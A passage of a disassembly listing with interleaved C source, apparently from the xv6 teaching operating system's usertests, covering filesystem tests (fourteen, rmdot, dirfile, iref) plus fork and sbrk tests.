26a1: 89 04 24 mov %eax,(%esp)
26a4: e8 87 15 00 00 call 3c30 <close>
if(total != 20*600){
26a9: 81 7d f0 e0 2e 00 00 cmpl $0x2ee0,-0x10(%ebp)
26b0: 74 19 je 26cb <bigfile+0x1fd>
printf(1, "read bigfile wrong total\n");
26b2: c7 44 24 04 54 4f 00 movl $0x4f54,0x4(%esp)
26b9: 00
26ba: c7 04 24 01 00 00 00 movl $0x1,(%esp)
26c1: e8 d2 16 00 00 call 3d98 <printf>
exit();
26c6: e8 3d 15 00 00 call 3c08 <exit>
}
unlink("bigfile");
26cb: c7 04 24 c9 4e 00 00 movl $0x4ec9,(%esp)
26d2: e8 81 15 00 00 call 3c58 <unlink>
printf(1, "bigfile test ok\n");
26d7: c7 44 24 04 6e 4f 00 movl $0x4f6e,0x4(%esp)
26de: 00
26df: c7 04 24 01 00 00 00 movl $0x1,(%esp)
26e6: e8 ad 16 00 00 call 3d98 <printf>
}
26eb: c9 leave
26ec: c3 ret
000026ed <fourteen>:
void
fourteen(void)
{
26ed: 55 push %ebp
26ee: 89 e5 mov %esp,%ebp
26f0: 83 ec 28 sub $0x28,%esp
int fd;
// DIRSIZ is 14.
printf(1, "fourteen test\n");
26f3: c7 44 24 04 7f 4f 00 movl $0x4f7f,0x4(%esp)
26fa: 00
26fb: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2702: e8 91 16 00 00 call 3d98 <printf>
if(mkdir("12345678901234") != 0){
2707: c7 04 24 8e 4f 00 00 movl $0x4f8e,(%esp)
270e: e8 5d 15 00 00 call 3c70 <mkdir>
2713: 85 c0 test %eax,%eax
2715: 74 19 je 2730 <fourteen+0x43>
printf(1, "mkdir 12345678901234 failed\n");
2717: c7 44 24 04 9d 4f 00 movl $0x4f9d,0x4(%esp)
271e: 00
271f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2726: e8 6d 16 00 00 call 3d98 <printf>
exit();
272b: e8 d8 14 00 00 call 3c08 <exit>
}
if(mkdir("12345678901234/123456789012345") != 0){
2730: c7 04 24 bc 4f 00 00 movl $0x4fbc,(%esp)
2737: e8 34 15 00 00 call 3c70 <mkdir>
273c: 85 c0 test %eax,%eax
273e: 74 19 je 2759 <fourteen+0x6c>
printf(1, "mkdir 12345678901234/123456789012345 failed\n");
2740: c7 44 24 04 dc 4f 00 movl $0x4fdc,0x4(%esp)
2747: 00
2748: c7 04 24 01 00 00 00 movl $0x1,(%esp)
274f: e8 44 16 00 00 call 3d98 <printf>
exit();
2754: e8 af 14 00 00 call 3c08 <exit>
}
fd = open("123456789012345/123456789012345/123456789012345", O_CREATE);
2759: c7 44 24 04 00 02 00 movl $0x200,0x4(%esp)
2760: 00
2761: c7 04 24 0c 50 00 00 movl $0x500c,(%esp)
2768: e8 db 14 00 00 call 3c48 <open>
276d: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
2770: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2774: 79 19 jns 278f <fourteen+0xa2>
printf(1, "create 123456789012345/123456789012345/123456789012345 failed\n");
2776: c7 44 24 04 3c 50 00 movl $0x503c,0x4(%esp)
277d: 00
277e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2785: e8 0e 16 00 00 call 3d98 <printf>
exit();
278a: e8 79 14 00 00 call 3c08 <exit>
}
close(fd);
278f: 8b 45 f4 mov -0xc(%ebp),%eax
2792: 89 04 24 mov %eax,(%esp)
2795: e8 96 14 00 00 call 3c30 <close>
fd = open("12345678901234/12345678901234/12345678901234", 0);
279a: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
27a1: 00
27a2: c7 04 24 7c 50 00 00 movl $0x507c,(%esp)
27a9: e8 9a 14 00 00 call 3c48 <open>
27ae: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
27b1: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
27b5: 79 19 jns 27d0 <fourteen+0xe3>
printf(1, "open 12345678901234/12345678901234/12345678901234 failed\n");
27b7: c7 44 24 04 ac 50 00 movl $0x50ac,0x4(%esp)
27be: 00
27bf: c7 04 24 01 00 00 00 movl $0x1,(%esp)
27c6: e8 cd 15 00 00 call 3d98 <printf>
exit();
27cb: e8 38 14 00 00 call 3c08 <exit>
}
close(fd);
27d0: 8b 45 f4 mov -0xc(%ebp),%eax
27d3: 89 04 24 mov %eax,(%esp)
27d6: e8 55 14 00 00 call 3c30 <close>
if(mkdir("12345678901234/12345678901234") == 0){
27db: c7 04 24 e6 50 00 00 movl $0x50e6,(%esp)
27e2: e8 89 14 00 00 call 3c70 <mkdir>
27e7: 85 c0 test %eax,%eax
27e9: 75 19 jne 2804 <fourteen+0x117>
printf(1, "mkdir 12345678901234/12345678901234 succeeded!\n");
27eb: c7 44 24 04 04 51 00 movl $0x5104,0x4(%esp)
27f2: 00
27f3: c7 04 24 01 00 00 00 movl $0x1,(%esp)
27fa: e8 99 15 00 00 call 3d98 <printf>
exit();
27ff: e8 04 14 00 00 call 3c08 <exit>
}
if(mkdir("123456789012345/12345678901234") == 0){
2804: c7 04 24 34 51 00 00 movl $0x5134,(%esp)
280b: e8 60 14 00 00 call 3c70 <mkdir>
2810: 85 c0 test %eax,%eax
2812: 75 19 jne 282d <fourteen+0x140>
printf(1, "mkdir 12345678901234/123456789012345 succeeded!\n");
2814: c7 44 24 04 54 51 00 movl $0x5154,0x4(%esp)
281b: 00
281c: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2823: e8 70 15 00 00 call 3d98 <printf>
exit();
2828: e8 db 13 00 00 call 3c08 <exit>
}
printf(1, "fourteen ok\n");
282d: c7 44 24 04 85 51 00 movl $0x5185,0x4(%esp)
2834: 00
2835: c7 04 24 01 00 00 00 movl $0x1,(%esp)
283c: e8 57 15 00 00 call 3d98 <printf>
}
2841: c9 leave
2842: c3 ret
00002843 <rmdot>:
void
rmdot(void)
{
2843: 55 push %ebp
2844: 89 e5 mov %esp,%ebp
2846: 83 ec 18 sub $0x18,%esp
printf(1, "rmdot test\n");
2849: c7 44 24 04 92 51 00 movl $0x5192,0x4(%esp)
2850: 00
2851: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2858: e8 3b 15 00 00 call 3d98 <printf>
if(mkdir("dots") != 0){
285d: c7 04 24 9e 51 00 00 movl $0x519e,(%esp)
2864: e8 07 14 00 00 call 3c70 <mkdir>
2869: 85 c0 test %eax,%eax
286b: 74 19 je 2886 <rmdot+0x43>
printf(1, "mkdir dots failed\n");
286d: c7 44 24 04 a3 51 00 movl $0x51a3,0x4(%esp)
2874: 00
2875: c7 04 24 01 00 00 00 movl $0x1,(%esp)
287c: e8 17 15 00 00 call 3d98 <printf>
exit();
2881: e8 82 13 00 00 call 3c08 <exit>
}
if(chdir("dots") != 0){
2886: c7 04 24 9e 51 00 00 movl $0x519e,(%esp)
288d: e8 e6 13 00 00 call 3c78 <chdir>
2892: 85 c0 test %eax,%eax
2894: 74 19 je 28af <rmdot+0x6c>
printf(1, "chdir dots failed\n");
2896: c7 44 24 04 b6 51 00 movl $0x51b6,0x4(%esp)
289d: 00
289e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
28a5: e8 ee 14 00 00 call 3d98 <printf>
exit();
28aa: e8 59 13 00 00 call 3c08 <exit>
}
if(unlink(".") == 0){
28af: c7 04 24 cf 48 00 00 movl $0x48cf,(%esp)
28b6: e8 9d 13 00 00 call 3c58 <unlink>
28bb: 85 c0 test %eax,%eax
28bd: 75 19 jne 28d8 <rmdot+0x95>
printf(1, "rm . worked!\n");
28bf: c7 44 24 04 c9 51 00 movl $0x51c9,0x4(%esp)
28c6: 00
28c7: c7 04 24 01 00 00 00 movl $0x1,(%esp)
28ce: e8 c5 14 00 00 call 3d98 <printf>
exit();
28d3: e8 30 13 00 00 call 3c08 <exit>
}
if(unlink("..") == 0){
28d8: c7 04 24 5c 44 00 00 movl $0x445c,(%esp)
28df: e8 74 13 00 00 call 3c58 <unlink>
28e4: 85 c0 test %eax,%eax
28e6: 75 19 jne 2901 <rmdot+0xbe>
printf(1, "rm .. worked!\n");
28e8: c7 44 24 04 d7 51 00 movl $0x51d7,0x4(%esp)
28ef: 00
28f0: c7 04 24 01 00 00 00 movl $0x1,(%esp)
28f7: e8 9c 14 00 00 call 3d98 <printf>
exit();
28fc: e8 07 13 00 00 call 3c08 <exit>
}
if(chdir("/") != 0){
2901: c7 04 24 e6 51 00 00 movl $0x51e6,(%esp)
2908: e8 6b 13 00 00 call 3c78 <chdir>
290d: 85 c0 test %eax,%eax
290f: 74 19 je 292a <rmdot+0xe7>
printf(1, "chdir / failed\n");
2911: c7 44 24 04 e8 51 00 movl $0x51e8,0x4(%esp)
2918: 00
2919: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2920: e8 73 14 00 00 call 3d98 <printf>
exit();
2925: e8 de 12 00 00 call 3c08 <exit>
}
if(unlink("dots/.") == 0){
292a: c7 04 24 f8 51 00 00 movl $0x51f8,(%esp)
2931: e8 22 13 00 00 call 3c58 <unlink>
2936: 85 c0 test %eax,%eax
2938: 75 19 jne 2953 <rmdot+0x110>
printf(1, "unlink dots/. worked!\n");
293a: c7 44 24 04 ff 51 00 movl $0x51ff,0x4(%esp)
2941: 00
2942: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2949: e8 4a 14 00 00 call 3d98 <printf>
exit();
294e: e8 b5 12 00 00 call 3c08 <exit>
}
if(unlink("dots/..") == 0){
2953: c7 04 24 16 52 00 00 movl $0x5216,(%esp)
295a: e8 f9 12 00 00 call 3c58 <unlink>
295f: 85 c0 test %eax,%eax
2961: 75 19 jne 297c <rmdot+0x139>
printf(1, "unlink dots/.. worked!\n");
2963: c7 44 24 04 1e 52 00 movl $0x521e,0x4(%esp)
296a: 00
296b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2972: e8 21 14 00 00 call 3d98 <printf>
exit();
2977: e8 8c 12 00 00 call 3c08 <exit>
}
if(unlink("dots") != 0){
297c: c7 04 24 9e 51 00 00 movl $0x519e,(%esp)
2983: e8 d0 12 00 00 call 3c58 <unlink>
2988: 85 c0 test %eax,%eax
298a: 74 19 je 29a5 <rmdot+0x162>
printf(1, "unlink dots failed!\n");
298c: c7 44 24 04 36 52 00 movl $0x5236,0x4(%esp)
2993: 00
2994: c7 04 24 01 00 00 00 movl $0x1,(%esp)
299b: e8 f8 13 00 00 call 3d98 <printf>
exit();
29a0: e8 63 12 00 00 call 3c08 <exit>
}
printf(1, "rmdot ok\n");
29a5: c7 44 24 04 4b 52 00 movl $0x524b,0x4(%esp)
29ac: 00
29ad: c7 04 24 01 00 00 00 movl $0x1,(%esp)
29b4: e8 df 13 00 00 call 3d98 <printf>
}
29b9: c9 leave
29ba: c3 ret
000029bb <dirfile>:
void
dirfile(void)
{
29bb: 55 push %ebp
29bc: 89 e5 mov %esp,%ebp
29be: 83 ec 28 sub $0x28,%esp
int fd;
printf(1, "dir vs file\n");
29c1: c7 44 24 04 55 52 00 movl $0x5255,0x4(%esp)
29c8: 00
29c9: c7 04 24 01 00 00 00 movl $0x1,(%esp)
29d0: e8 c3 13 00 00 call 3d98 <printf>
fd = open("dirfile", O_CREATE);
29d5: c7 44 24 04 00 02 00 movl $0x200,0x4(%esp)
29dc: 00
29dd: c7 04 24 62 52 00 00 movl $0x5262,(%esp)
29e4: e8 5f 12 00 00 call 3c48 <open>
29e9: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
29ec: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
29f0: 79 19 jns 2a0b <dirfile+0x50>
printf(1, "create dirfile failed\n");
29f2: c7 44 24 04 6a 52 00 movl $0x526a,0x4(%esp)
29f9: 00
29fa: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2a01: e8 92 13 00 00 call 3d98 <printf>
exit();
2a06: e8 fd 11 00 00 call 3c08 <exit>
}
close(fd);
2a0b: 8b 45 f4 mov -0xc(%ebp),%eax
2a0e: 89 04 24 mov %eax,(%esp)
2a11: e8 1a 12 00 00 call 3c30 <close>
if(chdir("dirfile") == 0){
2a16: c7 04 24 62 52 00 00 movl $0x5262,(%esp)
2a1d: e8 56 12 00 00 call 3c78 <chdir>
2a22: 85 c0 test %eax,%eax
2a24: 75 19 jne 2a3f <dirfile+0x84>
printf(1, "chdir dirfile succeeded!\n");
2a26: c7 44 24 04 81 52 00 movl $0x5281,0x4(%esp)
2a2d: 00
2a2e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2a35: e8 5e 13 00 00 call 3d98 <printf>
exit();
2a3a: e8 c9 11 00 00 call 3c08 <exit>
}
fd = open("dirfile/xx", 0);
2a3f: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
2a46: 00
2a47: c7 04 24 9b 52 00 00 movl $0x529b,(%esp)
2a4e: e8 f5 11 00 00 call 3c48 <open>
2a53: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd >= 0){
2a56: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2a5a: 78 19 js 2a75 <dirfile+0xba>
printf(1, "create dirfile/xx succeeded!\n");
2a5c: c7 44 24 04 a6 52 00 movl $0x52a6,0x4(%esp)
2a63: 00
2a64: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2a6b: e8 28 13 00 00 call 3d98 <printf>
exit();
2a70: e8 93 11 00 00 call 3c08 <exit>
}
fd = open("dirfile/xx", O_CREATE);
2a75: c7 44 24 04 00 02 00 movl $0x200,0x4(%esp)
2a7c: 00
2a7d: c7 04 24 9b 52 00 00 movl $0x529b,(%esp)
2a84: e8 bf 11 00 00 call 3c48 <open>
2a89: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd >= 0){
2a8c: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2a90: 78 19 js 2aab <dirfile+0xf0>
printf(1, "create dirfile/xx succeeded!\n");
2a92: c7 44 24 04 a6 52 00 movl $0x52a6,0x4(%esp)
2a99: 00
2a9a: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2aa1: e8 f2 12 00 00 call 3d98 <printf>
exit();
2aa6: e8 5d 11 00 00 call 3c08 <exit>
}
if(mkdir("dirfile/xx") == 0){
2aab: c7 04 24 9b 52 00 00 movl $0x529b,(%esp)
2ab2: e8 b9 11 00 00 call 3c70 <mkdir>
2ab7: 85 c0 test %eax,%eax
2ab9: 75 19 jne 2ad4 <dirfile+0x119>
printf(1, "mkdir dirfile/xx succeeded!\n");
2abb: c7 44 24 04 c4 52 00 movl $0x52c4,0x4(%esp)
2ac2: 00
2ac3: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2aca: e8 c9 12 00 00 call 3d98 <printf>
exit();
2acf: e8 34 11 00 00 call 3c08 <exit>
}
if(unlink("dirfile/xx") == 0){
2ad4: c7 04 24 9b 52 00 00 movl $0x529b,(%esp)
2adb: e8 78 11 00 00 call 3c58 <unlink>
2ae0: 85 c0 test %eax,%eax
2ae2: 75 19 jne 2afd <dirfile+0x142>
printf(1, "unlink dirfile/xx succeeded!\n");
2ae4: c7 44 24 04 e1 52 00 movl $0x52e1,0x4(%esp)
2aeb: 00
2aec: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2af3: e8 a0 12 00 00 call 3d98 <printf>
exit();
2af8: e8 0b 11 00 00 call 3c08 <exit>
}
if(link("README", "dirfile/xx") == 0){
2afd: c7 44 24 04 9b 52 00 movl $0x529b,0x4(%esp)
2b04: 00
2b05: c7 04 24 ff 52 00 00 movl $0x52ff,(%esp)
2b0c: e8 57 11 00 00 call 3c68 <link>
2b11: 85 c0 test %eax,%eax
2b13: 75 19 jne 2b2e <dirfile+0x173>
printf(1, "link to dirfile/xx succeeded!\n");
2b15: c7 44 24 04 08 53 00 movl $0x5308,0x4(%esp)
2b1c: 00
2b1d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2b24: e8 6f 12 00 00 call 3d98 <printf>
exit();
2b29: e8 da 10 00 00 call 3c08 <exit>
}
if(unlink("dirfile") != 0){
2b2e: c7 04 24 62 52 00 00 movl $0x5262,(%esp)
2b35: e8 1e 11 00 00 call 3c58 <unlink>
2b3a: 85 c0 test %eax,%eax
2b3c: 74 19 je 2b57 <dirfile+0x19c>
printf(1, "unlink dirfile failed!\n");
2b3e: c7 44 24 04 27 53 00 movl $0x5327,0x4(%esp)
2b45: 00
2b46: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2b4d: e8 46 12 00 00 call 3d98 <printf>
exit();
2b52: e8 b1 10 00 00 call 3c08 <exit>
}
fd = open(".", O_RDWR);
2b57: c7 44 24 04 02 00 00 movl $0x2,0x4(%esp)
2b5e: 00
2b5f: c7 04 24 cf 48 00 00 movl $0x48cf,(%esp)
2b66: e8 dd 10 00 00 call 3c48 <open>
2b6b: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd >= 0){
2b6e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2b72: 78 19 js 2b8d <dirfile+0x1d2>
printf(1, "open . for writing succeeded!\n");
2b74: c7 44 24 04 40 53 00 movl $0x5340,0x4(%esp)
2b7b: 00
2b7c: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2b83: e8 10 12 00 00 call 3d98 <printf>
exit();
2b88: e8 7b 10 00 00 call 3c08 <exit>
}
fd = open(".", 0);
2b8d: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
2b94: 00
2b95: c7 04 24 cf 48 00 00 movl $0x48cf,(%esp)
2b9c: e8 a7 10 00 00 call 3c48 <open>
2ba1: 89 45 f4 mov %eax,-0xc(%ebp)
if(write(fd, "x", 1) > 0){
2ba4: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
2bab: 00
2bac: c7 44 24 04 06 45 00 movl $0x4506,0x4(%esp)
2bb3: 00
2bb4: 8b 45 f4 mov -0xc(%ebp),%eax
2bb7: 89 04 24 mov %eax,(%esp)
2bba: e8 69 10 00 00 call 3c28 <write>
2bbf: 85 c0 test %eax,%eax
2bc1: 7e 19 jle 2bdc <dirfile+0x221>
printf(1, "write . succeeded!\n");
2bc3: c7 44 24 04 5f 53 00 movl $0x535f,0x4(%esp)
2bca: 00
2bcb: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2bd2: e8 c1 11 00 00 call 3d98 <printf>
exit();
2bd7: e8 2c 10 00 00 call 3c08 <exit>
}
close(fd);
2bdc: 8b 45 f4 mov -0xc(%ebp),%eax
2bdf: 89 04 24 mov %eax,(%esp)
2be2: e8 49 10 00 00 call 3c30 <close>
printf(1, "dir vs file OK\n");
2be7: c7 44 24 04 73 53 00 movl $0x5373,0x4(%esp)
2bee: 00
2bef: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2bf6: e8 9d 11 00 00 call 3d98 <printf>
}
2bfb: c9 leave
2bfc: c3 ret
00002bfd <iref>:
// test that iput() is called at the end of _namei()
void
iref(void)
{
2bfd: 55 push %ebp
2bfe: 89 e5 mov %esp,%ebp
2c00: 83 ec 28 sub $0x28,%esp
int i, fd;
printf(1, "empty file name\n");
2c03: c7 44 24 04 83 53 00 movl $0x5383,0x4(%esp)
2c0a: 00
2c0b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2c12: e8 81 11 00 00 call 3d98 <printf>
// the 50 is NINODE
for(i = 0; i < 50 + 1; i++){
2c17: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
2c1e: e9 d1 00 00 00 jmp 2cf4 <iref+0xf7>
if(mkdir("irefd") != 0){
2c23: c7 04 24 94 53 00 00 movl $0x5394,(%esp)
2c2a: e8 41 10 00 00 call 3c70 <mkdir>
2c2f: 85 c0 test %eax,%eax
2c31: 74 19 je 2c4c <iref+0x4f>
printf(1, "mkdir irefd failed\n");
2c33: c7 44 24 04 9a 53 00 movl $0x539a,0x4(%esp)
2c3a: 00
2c3b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2c42: e8 51 11 00 00 call 3d98 <printf>
exit();
2c47: e8 bc 0f 00 00 call 3c08 <exit>
}
if(chdir("irefd") != 0){
2c4c: c7 04 24 94 53 00 00 movl $0x5394,(%esp)
2c53: e8 20 10 00 00 call 3c78 <chdir>
2c58: 85 c0 test %eax,%eax
2c5a: 74 19 je 2c75 <iref+0x78>
printf(1, "chdir irefd failed\n");
2c5c: c7 44 24 04 ae 53 00 movl $0x53ae,0x4(%esp)
2c63: 00
2c64: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2c6b: e8 28 11 00 00 call 3d98 <printf>
exit();
2c70: e8 93 0f 00 00 call 3c08 <exit>
}
mkdir("");
2c75: c7 04 24 c2 53 00 00 movl $0x53c2,(%esp)
2c7c: e8 ef 0f 00 00 call 3c70 <mkdir>
link("README", "");
2c81: c7 44 24 04 c2 53 00 movl $0x53c2,0x4(%esp)
2c88: 00
2c89: c7 04 24 ff 52 00 00 movl $0x52ff,(%esp)
2c90: e8 d3 0f 00 00 call 3c68 <link>
fd = open("", O_CREATE);
2c95: c7 44 24 04 00 02 00 movl $0x200,0x4(%esp)
2c9c: 00
2c9d: c7 04 24 c2 53 00 00 movl $0x53c2,(%esp)
2ca4: e8 9f 0f 00 00 call 3c48 <open>
2ca9: 89 45 f0 mov %eax,-0x10(%ebp)
if(fd >= 0)
2cac: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
2cb0: 78 0b js 2cbd <iref+0xc0>
close(fd);
2cb2: 8b 45 f0 mov -0x10(%ebp),%eax
2cb5: 89 04 24 mov %eax,(%esp)
2cb8: e8 73 0f 00 00 call 3c30 <close>
fd = open("xx", O_CREATE);
2cbd: c7 44 24 04 00 02 00 movl $0x200,0x4(%esp)
2cc4: 00
2cc5: c7 04 24 c3 53 00 00 movl $0x53c3,(%esp)
2ccc: e8 77 0f 00 00 call 3c48 <open>
2cd1: 89 45 f0 mov %eax,-0x10(%ebp)
if(fd >= 0)
2cd4: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
2cd8: 78 0b js 2ce5 <iref+0xe8>
close(fd);
2cda: 8b 45 f0 mov -0x10(%ebp),%eax
2cdd: 89 04 24 mov %eax,(%esp)
2ce0: e8 4b 0f 00 00 call 3c30 <close>
unlink("xx");
2ce5: c7 04 24 c3 53 00 00 movl $0x53c3,(%esp)
2cec: e8 67 0f 00 00 call 3c58 <unlink>
int i, fd;
printf(1, "empty file name\n");
// the 50 is NINODE
for(i = 0; i < 50 + 1; i++){
2cf1: ff 45 f4 incl -0xc(%ebp)
2cf4: 83 7d f4 32 cmpl $0x32,-0xc(%ebp)
2cf8: 0f 8e 25 ff ff ff jle 2c23 <iref+0x26>
if(fd >= 0)
close(fd);
unlink("xx");
}
chdir("/");
2cfe: c7 04 24 e6 51 00 00 movl $0x51e6,(%esp)
2d05: e8 6e 0f 00 00 call 3c78 <chdir>
printf(1, "empty file name OK\n");
2d0a: c7 44 24 04 c6 53 00 movl $0x53c6,0x4(%esp)
2d11: 00
2d12: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2d19: e8 7a 10 00 00 call 3d98 <printf>
}
2d1e: c9 leave
2d1f: c3 ret
00002d20 <forktest>:
// test that fork fails gracefully
// the forktest binary also does this, but it runs out of proc entries first.
// inside the bigger usertests binary, we run out of memory first.
void
forktest(void)
{
2d20: 55 push %ebp
2d21: 89 e5 mov %esp,%ebp
2d23: 83 ec 28 sub $0x28,%esp
int n, pid;
printf(1, "fork test\n");
2d26: c7 44 24 04 da 53 00 movl $0x53da,0x4(%esp)
2d2d: 00
2d2e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2d35: e8 5e 10 00 00 call 3d98 <printf>
for(n=0; n<1000; n++){
2d3a: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
2d41: eb 1c jmp 2d5f <forktest+0x3f>
pid = fork();
2d43: e8 b8 0e 00 00 call 3c00 <fork>
2d48: 89 45 f0 mov %eax,-0x10(%ebp)
if(pid < 0)
2d4b: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
2d4f: 78 19 js 2d6a <forktest+0x4a>
break;
if(pid == 0)
2d51: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
2d55: 75 05 jne 2d5c <forktest+0x3c>
exit();
2d57: e8 ac 0e 00 00 call 3c08 <exit>
{
int n, pid;
printf(1, "fork test\n");
for(n=0; n<1000; n++){
2d5c: ff 45 f4 incl -0xc(%ebp)
2d5f: 81 7d f4 e7 03 00 00 cmpl $0x3e7,-0xc(%ebp)
2d66: 7e db jle 2d43 <forktest+0x23>
2d68: eb 01 jmp 2d6b <forktest+0x4b>
pid = fork();
if(pid < 0)
break;
2d6a: 90 nop
if(pid == 0)
exit();
}
if(n == 1000){
2d6b: 81 7d f4 e8 03 00 00 cmpl $0x3e8,-0xc(%ebp)
2d72: 75 3e jne 2db2 <forktest+0x92>
printf(1, "fork claimed to work 1000 times!\n");
2d74: c7 44 24 04 e8 53 00 movl $0x53e8,0x4(%esp)
2d7b: 00
2d7c: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2d83: e8 10 10 00 00 call 3d98 <printf>
exit();
2d88: e8 7b 0e 00 00 call 3c08 <exit>
}
for(; n > 0; n--){
if(wait() < 0){
2d8d: e8 7e 0e 00 00 call 3c10 <wait>
2d92: 85 c0 test %eax,%eax
2d94: 79 19 jns 2daf <forktest+0x8f>
printf(1, "wait stopped early\n");
2d96: c7 44 24 04 0a 54 00 movl $0x540a,0x4(%esp)
2d9d: 00
2d9e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2da5: e8 ee 0f 00 00 call 3d98 <printf>
exit();
2daa: e8 59 0e 00 00 call 3c08 <exit>
if(n == 1000){
printf(1, "fork claimed to work 1000 times!\n");
exit();
}
for(; n > 0; n--){
2daf: ff 4d f4 decl -0xc(%ebp)
2db2: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
2db6: 7f d5 jg 2d8d <forktest+0x6d>
printf(1, "wait stopped early\n");
exit();
}
}
if(wait() != -1){
2db8: e8 53 0e 00 00 call 3c10 <wait>
2dbd: 83 f8 ff cmp $0xffffffff,%eax
2dc0: 74 19 je 2ddb <forktest+0xbb>
printf(1, "wait got too many\n");
2dc2: c7 44 24 04 1e 54 00 movl $0x541e,0x4(%esp)
2dc9: 00
2dca: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2dd1: e8 c2 0f 00 00 call 3d98 <printf>
exit();
2dd6: e8 2d 0e 00 00 call 3c08 <exit>
}
printf(1, "fork test OK\n");
2ddb: c7 44 24 04 31 54 00 movl $0x5431,0x4(%esp)
2de2: 00
2de3: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2dea: e8 a9 0f 00 00 call 3d98 <printf>
}
2def: c9 leave
2df0: c3 ret
00002df1 <sbrktest>:
void
sbrktest(void)
{
2df1: 55 push %ebp
2df2: 89 e5 mov %esp,%ebp
2df4: 53 push %ebx
2df5: 81 ec 84 00 00 00 sub $0x84,%esp
int fds[2], pid, pids[10], ppid;
char *a, *b, *c, *lastaddr, *oldbrk, *p, scratch;
uint amt;
printf(stdout, "sbrk test\n");
2dfb: a1 b4 5e 00 00 mov 0x5eb4,%eax
2e00: c7 44 24 04 3f 54 00 movl $0x543f,0x4(%esp)
2e07: 00
2e08: 89 04 24 mov %eax,(%esp)
2e0b: e8 88 0f 00 00 call 3d98 <printf>
oldbrk = sbrk(0);
2e10: c7 04 24 00 00 00 00 movl $0x0,(%esp)
2e17: e8 74 0e 00 00 call 3c90 <sbrk>
2e1c: 89 45 ec mov %eax,-0x14(%ebp)
// can one sbrk() less than a page?
a = sbrk(0);
2e1f: c7 04 24 00 00 00 00 movl $0x0,(%esp)
2e26: e8 65 0e 00 00 call 3c90 <sbrk>
2e2b: 89 45 f4 mov %eax,-0xc(%ebp)
int i;
for(i = 0; i < 5000; i++){
2e2e: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
2e35: eb 56 jmp 2e8d <sbrktest+0x9c>
b = sbrk(1);
2e37: c7 04 24 01 00 00 00 movl $0x1,(%esp)
2e3e: e8 4d 0e 00 00 call 3c90 <sbrk>
2e43: 89 45 e8 mov %eax,-0x18(%ebp)
if(b != a){
2e46: 8b 45 e8 mov -0x18(%ebp),%eax
2e49: 3b 45 f4 cmp -0xc(%ebp),%eax
2e4c: 74 2f je 2e7d <sbrktest+0x8c>
printf(stdout, "sbrk test failed %d %x %x\n", i, a, b);
2e4e: a1 b4 5e 00 00 mov 0x5eb4,%eax
2e53: 8b 55 e8 mov -0x18(%ebp),%edx
2e56: 89 54 24 10 mov %edx,0x10(%esp)
2e5a: 8b 55 f4 mov -0xc(%ebp),%edx
2e5d: 89 54 24 0c mov %edx,0xc(%esp)
2e61: 8b 55 f0 mov -0x10(%ebp),%edx
2e64: 89 54 24 08 mov %edx,0x8(%esp)
2e68: c7 44 24 04 4a 54 00 movl $0x544a,0x4(%esp)
2e6f: 00
2e70: 89 04 24 mov %eax,(%esp)
2e73: e8 20 0f 00 00 call 3d98 <printf>
exit();
2e78: e8 8b 0d 00 00 call 3c08 <exit>
}
*b = 1;
2e7d: 8b 45 e8 mov -0x18(%ebp),%eax
2e80: c6 00 01 movb $0x1,(%eax)
a = b + 1;
2e83: 8b 45 e8 mov -0x18(%ebp),%eax
2e86: 40 inc %eax
2e87: 89 45 f4 mov %eax,-0xc(%ebp)
oldbrk = sbrk(0);
// can one sbrk() less than a page?
a = sbrk(0);
int i;
for(i = 0; i < 5000; i++){
2e8a: ff 45 f0 incl -0x10(%ebp)
2e8d: 81 7d f0 87 13 00 00 cmpl $0x1387,-0x10(%ebp)
2e94: 7e a1 jle 2e37 <sbrktest+0x46>
exit();
}
*b = 1;
a = b + 1;
}
pid = fork();
2e96: e8 65 0d 00 00 call 3c00 <fork>
